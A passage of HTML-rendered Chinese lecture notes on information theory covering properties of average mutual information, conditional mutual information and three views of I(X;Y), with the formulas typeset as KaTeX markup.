class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span><span style="top:1.1339em;"><span class="pstrut" style="height:3.75em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">(</span></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.4616em;"><span></span></span></span></span></span></span></span></span></span></span></span></p></li><li><p>当 X Y 独立的时候，共享的信息为 0，平均互信息量为 0.</p></li><li><p>共享的信息，无论从 X 的角度还是从 Y 的角度，都是相等的</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p></li><li><p>共享的信息量不可能超过信源本身，也就是极值性。当 X 和 Y 一一对应就是无损的信道：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p></li><li><p>平均互信息量是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mclose">)</span></span></span></span> 的上凸用函数，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mord">∣</span><span class="mord mathnormal">a</span><span class="mclose">)</span></span></span></span> 的下凸函数。</p></li><li><p>信息传递递减。假设 X Z 互相独立，经过 Y 传递信息，那么</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.5em;vertical-align:-2em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5em;"><span style="top:-4.5em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-3em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span><span style="top:-1.5em;"><span class="pstrut" style="height:2.84em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5em;"><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose">)</span></span></span><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span></span></span><span style="top:-1.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2em;"><span></span></span></span></span></span></span></span></span></span></span></span></p></li></ol><h3 id="条件互信息量">条件互信息量</h3><p>特别地，教材里还提到了<strong>条件互信息量</strong>，信源 X 和信宿 Y 都知道一个条件 c，那么定义在条件 c 下的 a b 的互信息量为：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mord">∣</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mord">∣</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>这里要稍微注意的是，条件互信息量的表示，容易有歧义。c 是共有的条件。特别的，如果把 b c 所在的信源作为一个整体，a 所在信源作为信宿，有：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mord">∣</span><span class="mord mathnormal">c</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>这也比较直观，从 b c 传递给 a 的信息，来自于从 c 传递给 a 的信息和 a b 已知 c 的情况下，b 给 a 传递的信息。</p><h3 id="平均互信息量的三个视角">平均互信息量的三个视角</h3><p>从信息传递的角度看，可以分别从信源 X 的角度、信宿 Y 的调度和通信系统整体的角度，看待平均互信息量（传输的信息量）和信源熵（信源传输信息的能力）。</p><p><strong>从信源 X：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>这表示 X 发送信息后，从 X 观察 Y，Y 剩下的不确定度，也就是信息熵。</p><p><strong>从信宿 Y</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>这表示 Y 接收信息后，从 Y 观察 X，X 剩下的不确定度，也就是信息熵。</p><p><strong>从通信系统：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mpunct">;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span 